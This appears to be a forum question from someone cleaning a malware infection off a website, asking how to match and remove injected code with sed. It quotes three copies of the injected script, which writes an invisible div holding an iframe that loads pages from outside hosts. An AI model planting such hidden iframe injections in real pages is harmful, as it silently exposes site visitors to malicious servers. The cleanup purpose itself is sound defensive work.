I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it.

The strings are:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity:      0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

I cant seem to figure out how to escape the various characters in those lines...

If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well.

Any help would be greatly appreciated!
